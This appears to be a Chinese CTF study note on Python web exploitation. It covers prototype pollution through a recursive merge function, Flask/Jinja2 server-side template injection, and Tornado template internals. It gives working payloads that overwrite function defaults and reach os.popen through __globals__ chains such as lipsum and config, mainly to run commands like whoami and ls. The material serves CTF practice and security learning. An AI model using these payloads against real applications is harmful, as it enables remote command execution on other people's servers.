Python_web_CTF

Python_web

原型链污染

合并函数

python的原型链污染和JavaScript一样,是由数值合并函数引起的,下面就是一个标准的数值合并函数。

1
2
3
4
5
6
7
8
9
10
11
12
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

代码的逻辑如下:

  1. 对于源字典(src)中的每个键值对(k, v):
    • 首先检查目标字典(dst)是否具有__getitem__属性,即是否可以通过键来访问值。
    • 如果目标字典(dst)中存在键k,并且对应的值不为None,并且源字典中对应的值v的类型为字典(dict),则递归调用merge函数,将源字典中的子字典v合并到目标字典中的子字典(dst[k])中。
    • 否则,将源字典中的键值对(k, v)直接添加到目标字典中,即dst[k] = v
  2. 如果目标字典(dst)没有__getitem__属性,但是具有与源字典中键k相对应的属性,则执行类似的逻辑。
    • 如果目标字典中存在与键k相对应的属性,并且源字典中对应的值v的类型为字典(dict),则递归调用merge函数,将源字典中的子字典v合并到目标字典中相应的属性中。
    • 否则,将源字典中的键值对(k, v)作为目标字典的属性,并赋予对应的值。

污染示例

可以通过上述的合并函数,将其他函数的内置属性和自定义属性污染修改,但是没办法将object的属性也污染。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
class father:
pass

class son_a(father):
pass

class son_b(father):
pass

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

instance = son_b()
payload1 = {
"__class__" : {
"__base__" : {
"secret" : "Polluted ~"
}
}
}
payload2 = {
"__class__" : {
"__base__" : {
"__str__" : "Polluted ~"
}
}
}
payload3 = {
"__class__" : {
"__str__" : "Polluted ~"
}
}

print(son_a.secret)
#haha
print(son_b.secret)
#haha
merge(payload1,instance)
print(son_a.secret)
#Polluted ~
print(instance.secret)
#Polluted ~

print(father.__str__)
#<slot wrapper '__str__' of 'object' objects>
merge(payload2, instance)
print(father.__str__)
#Polluted ~

merge(payload3, object)
#TypeError: can't set attributes of built-in/extension type 'object'

获取

在实际应用的时候只使用__class__.__base__的继承关系获取目标函数可能是不够的,当无继承关系的时候,前面说的方法获取不到基类,就没啥用了,所以我们可以使用__globlasl__来获取到全局变量,这样就可以修改无继承关系的类属性甚至全局变量,有的时候,甚至于加载单一模块的全局变量还不够,还需要加载其他模块的变量。比较通用的有payload:<模块名>.__spec__.loader.__init__.__globals__['sys']获取sys模块进而获取全局变量。

利用

函数形参默认值替换

主要用到了函数的__defaults____kwdefaults__这两个内置属性。

__defaults__以元组的形式按从左到右的顺序收录了函数的位置或键值形参的默认值。

__kwdefaults__以字典的形式按从左到右的顺序收录了函数键值形参的默认值。

利用如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
def evilFunc(arg_1 , * , shell = False):
if not shell:
print(arg_1)
else:
print(__import__("os").popen(arg_1).read())

class cls:
def __init__(self):
pass

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

instance = cls()

payload1 = {
"__init__" : {
"__globals__" : {
"evilFunc" : {
"__defaults__" : (
True ,
)
}
}
}
}

payload2 = {
"__init__" : {
"__globals__" : {
"evilFunc" : {
"__kwdefaults__" : {
"shell" : True
}
}
}
}
}

evilFunc("whoami")
#whoami
merge(payload1, instance)
evilFunc("whoami")
#root
merge(payload2, instance)
evilFunc("whoami")
#root

殊途同归。

更多利用方法的参考

Python原型链污染变体(prototype-pollution-in-python) - 跳跳糖 (tttang.com)

SSTI

Flask Jinja2 SSTI

示例代码

1
2
3
4
5
6
7
8
9
10
11
from flask import Flask, render_template_string, request

app = Flask(__name__)

@app.route('/')
def index():
search = request.args.get('search')
return render_template_string('<h1>Search Results: {{ search }}</h1>', search=search)

if __name__ == '__main__':
app.run()

下面是一些会用到的魔术对象:

1
2
3
4
5
6
7
8
__class__  //返回类型所属的对象
__mro__ //返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ //返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的

__subclasses__ //获取当前类的所有子类
__init__ //类的初始化方法
__globals__ //对包含(保存)函数全局变量的字典的引用

用魔术对象可以构造一些简单的语句:

我们在里面运行以下:

解读一下:
class返回[]所属的对象;
class+base:返回这个对象所继承的基类
class+base+subclasses:找到了这个对象的基类,那么就返回这个基类下所具有的子类

Jinja模板引擎特点:

1
2
3
4
5
{{...}}: 装载一个变量,模板渲染的时候,会使用传进来的同名参数将这个变量代表的值替换掉

{%...%}:装载一个控制语句

{#...#}:装载一个注释,模板渲染的时候会忽视这中间的值

核心思路:找__globals__

1
{{((g.pop.__globals__.__builtins__.__import__('os').popen('whoami')).read())}}

附表:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
__class__           查看对象所在的类
__mro__ 查看继承关系和调用顺序,返回元组
__base__ 返回基类
__bases__ 返回基类元组
__subclasses__() 返回子类列表
__init__ 调用初始化函数,可以用来跳到__globals__
__globals__ 返回函数所在的全局命名空间所定义的全局变量,返回字典
__builtins__ 返回内建内建名称空间字典
__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()) 都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。
url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app 应用上下文,一个全局变量
request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1 get传参
request.values.x1 所有参数
request.cookies cookies参数
request.headers 请求头参数
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
config 当前application的所有配置。此外,也可以这样{{config.__class__.__init__.__globals__['os'].popen('ls').read() }}

tornado render模板注入

Tornado 中模板渲染函数在有两个

  • render
  • render_string

tornado/web.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
class RequestHandler(object):
....
def render(self, template_name, **kwargs):
...
html = self.render_string(template_name, **kwargs)
...
return self.finish(html)

def render_string(self, template_name, **kwargs):

template_path = self.get_template_path()
...
with RequestHandler._template_loader_lock:
if template_path not in RequestHandler._template_loaders:
loader = self.create_template_loader(template_path)
RequestHandler._template_loaders[template_path] = loader
else:
loader = RequestHandler._template_loaders[template_path]
t = loader.load(template_name)
namespace = self.get_template_namespace()
namespace.update(kwargs)
return t.generate(**namespace)

def get_template_namespace(self):
namespace = dict(
handler=self,
request=self.request,
current_user=self.current_user,
locale=self.locale,
_=self.locale.translate,
pgettext=self.locale.pgettext,
static_url=self.static_url,
xsrf_form_html=self.xsrf_form_html,
reverse_url=self.reverse_url
)
namespace.update(self.ui)
return namespace

render_string:通过模板文件名加载模板,然后更新模板引擎中的命名空间,添加一些全局函数或其他对象,然后生成并返回渲染好的 html内容

render:依次调用render_string及相关渲染函数生成的内容,最后调用 finish 直接输出给客户端。

我们跟进模板引擎相关类看看其中的实现。

tornado/template.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class Template(object):
...
def generate(self, **kwargs):
namespace = {
"escape": escape.xhtml_escape,
"xhtml_escape": escape.xhtml_escape,
"url_escape": escape.url_escape,
"json_encode": escape.json_encode,
"squeeze": escape.squeeze,
"linkify": escape.linkify,
"datetime": datetime,
"_tt_utf8": escape.utf8, # for internal use
"_tt_string_types": (unicode_type, bytes),
"__name__": self.name.replace('.', '_'),
"__loader__": ObjectDict(get_source=lambda name: self.code),
}
namespace.update(self.namespace)
namespace.update(kwargs)
exec_in(self.compiled, namespace)
execute = namespace["_tt_execute"]
linecache.clearcache()
return execute()

在上面的代码中,我们很容易看出命名空间namespace中有哪些变量、函数的存在。其中,handler是一个神奇的存在。

tornado/web.py:

1
2
3
4
5
6
7
class RequestHandler(object):
....
def __init__(self, application, request, **kwargs):
super(RequestHandler, self).__init__()

self.application = application
self.request = request

RequestHandler类的构造函数中,可以看到application的赋值。

tornado/web.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Application(ReversibleRouter):
....
def __init__(self, handlers=None, default_host=None, transforms=None,
**settings):
...
self.wildcard_router = _ApplicationRouter(self, handlers)
self.default_router = _ApplicationRouter(self, [
Rule(AnyMatches(), self.wildcard_router)
])

class _ApplicationRouter(ReversibleRuleRouter):
def __init__(self, application, rules=None):
assert isinstance(application, Application)
self.application = application
super(_ApplicationRouter, self).__init__(rules)

因此,通过handler.application即可访问整个Tornado。